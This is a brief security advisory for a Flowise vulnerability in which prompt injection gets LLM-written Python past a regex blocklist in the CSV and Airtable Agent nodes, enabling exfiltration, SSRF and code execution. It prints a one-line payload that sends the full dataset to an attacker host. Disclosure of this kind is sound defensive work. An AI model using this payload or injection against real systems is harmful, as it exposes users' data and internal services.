CVE-2026-73487: Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass

Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution – all through prompt injection via the unauthenticated prediction API.

The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" + df.to_json()) passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required.